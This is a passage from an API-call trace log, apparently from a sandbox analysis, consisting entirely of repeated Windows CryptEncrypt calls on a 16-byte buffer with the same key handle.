dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.678] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.679] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 